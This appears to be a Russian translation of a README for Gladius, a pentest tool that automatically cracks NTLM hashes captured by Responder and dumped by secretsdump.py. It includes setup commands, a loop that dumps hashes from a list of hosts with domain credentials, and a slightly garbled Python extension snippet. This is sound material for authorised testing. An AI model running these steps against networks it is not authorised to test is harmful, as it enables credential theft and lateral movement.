
Автоматизированный взлом через Responder/secretsdump.py
Автор: Cory Duplantis (@ctfhacker) / блог
Gladius предоставляет автоматизированный метод взлома учётных данных из различных источников во время пентеста. В настоящее время мы взламываем хеши из Responder, secretsdump.py и smart_hashdump.
pip install watchdog
git clone https://www.github.com/praetorian-inc/gladius
cd gladius
git clone https://www.github.com/praetorian-inc/Hob0Rules
cp Hob0Rules/* .
rm -rf Hob0Rules/
python gladius.py --hashcat ../hashcat/hashcat-cli64.bin -r d3adhob0.rule -w rockyou.txt
Теперь запустите сессию Responder как обычно
cd /usr/share/responder
python Responder.py -i YOUR_IP -I YOUR_INTERFACE
Отправляйте результаты secretsdump в Gladius для анализа и взлома.
for ip in $(cat ips); do secretsdump.py DOMAIN/username:password@$ip > /usr/share/responder/secretsdump_$ip; done
$ python gladius.py -h
usage: gladius.py [-h] [-v] [--responder-dir RESPONDER_DIR]
[--hashcat HASHCAT] [-r RULESET] [-w WORDLIST] [--no-art]
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increased output verbosity
--responder-dir RESPONDER_DIR
Directory to watch for Responder output
--hashcat HASHCAT Path to hashcat binary
-r RULESET, --ruleset RULESET
Ruleset to use with hashcat
-w WORDLIST, --wordlist WORDLIST
Wordlist to use with hashcat
--no-art Disable the sword ascii art for displaying credentials
and default to only text.
Набор правил по умолчанию — улучшенный best64 от Julian Dunning (@hob0man) из Praetorian. Его презентация по этой теме доступна ниже:
Отслеживает журнал Responder на предмет файлов *NTLM*txt. Для каждого найденного файла разбирает вывод, создаёт временный файл с новыми хешами и передаёт его в hashcat с правильным типом хеша.
To watch for NTLM hashes from hashdump, simply create a file with NTLM hashes from hashdump and drop a file with `hashdump` in its name in the Responder directory.
Note: Will have to manually examine output in `./engagement/responderhander_out/*` to check for results from `hashdump` cracking.
Отслеживает вывод из hashcat и экспортирует файлы в следующем формате:
Domain Username Password
Для расширения Gladius:
GladiusHandler.'*', если имя файла не имеет значения).process(self, event) для выполнения действий над всеми файлами, соответствующими вашему шаблону.class YourHandler(GladiusHandler):
patterns = ['*']
def process(self, event):
data = self.get_lines(event)
# Perform work on data
Добавьте себя в список обработчиков
handlers = [
(ResponderHandler, args.responder,
(CredsHandler, ResponderHandler().outpath),
(YourHandler, CredsHandler().outpath),
(YourHandler, '/tmp'),
]